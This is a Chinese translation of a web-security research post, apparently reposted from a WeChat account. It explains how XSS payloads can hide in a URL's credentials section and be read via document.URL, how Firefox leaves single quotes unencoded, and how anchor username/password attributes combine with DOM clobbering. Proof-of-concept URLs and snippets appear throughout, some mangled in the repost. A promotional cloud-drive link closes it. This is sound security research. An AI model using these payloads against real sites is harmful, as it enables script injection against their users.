去年, Johan Carlsson 发现可以 将有效载荷隐藏在 URL 的凭证部分中 。这对我来说非常有趣,尤其是因为有效载荷实际上在 Chrome 和 Firefox 的 URL 中是不可见的。这甚至在同源导航中也能持续存在。所以,就像狗咬住骨头一样,我不会放手,并试图看看有什么可能……
令我惊讶的第一件事是 document.URL 并不总是与位置匹配。
https://foo:bar@portswigger-labs.netalert(location);//https://portswigger-labs.net/alert(document.URL);//https://foo:[email protected]/
我曾假设这两个属性是相同的,因为我从未发现它们有区别,但事实证明 document.URL 包含 URL 的凭据部分,而 location 不包含。这意味着您可以在事件中使用 URL 从凭据中获取有效负载:
https://alert(1)@portswigger-labs.net<img src onerror=alert(URL.slice(8,16))>
从凭证中获取有效载荷
在通过模糊测试确定 URL 的凭证部分中编码了哪些字符 后,Shazzer 发现 Firefox 不会对单引号进行 URL 编码。如果网站删除了查询字符串和哈希,这在DOM XSS场景中特别有用。因为它使 Firefox 中的此类漏洞可被利用:
function getBase(url) { return url.split(/[?#]/)[0];}document.write(`<script>const url='${getBase(document.URL)}';</script>`);
要利用这一点,你需要在 Firefox 的凭证部分提供有效负载,如下所示:
https://'-alert(1)-'@example.com
这可以通过重定向或用户导航来实现。您甚至可以使用此技术来控制锚链接的用户名或密码属性。这是可行的,因为每个锚元素都有这些属性,它们存储来自 URL 的凭据。如果是相对链接,它会继承父级凭据,允许您破坏这些值:
https://[email protected]<a href=# onclick=alert(username)>test</a>
锚点破坏示例
您可以将其与DOM Clobbering结合使用,以便控制具有用户名或密码属性的对象。请注意,您甚至可以提供一个空白的 href,这样仍然可以通过 URL 控制用户名或密码。
https://user:[email protected]<a href id=x>test</a><script>eval(x.username)//usereval(x.password)//pass</script>
总之,发现 location 和 document.URL 之间的差异以及 document.URL 如何保留 URL 的凭据部分(即使 Chrome 和 Firefox 等浏览器将其隐藏在地址栏中)是相当令人惊讶的。Firefox 对某些未经 URL 编码的字符(例如单引号)的处理也可能对 DOM XSS 有用。
通过凭证隐藏有效载荷、操纵锚元素内的用户名和密码属性以及可能将其与 DOM 破坏相结合的能力可用于更高级的利用。
注意: Safari 会丢弃 URL 凭据。所有示例仅适用于 Chrome 和 Firefox。此外,Chrome 还会阻止子资源使用 URL 凭据。
免费网络安全资料PDF大合集
链接:https://pan.quark.cn/s/41b02efa09e6
原文始发于微信公众号(安全视安):【翻译】在 URL 凭证中隐藏有效载荷
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论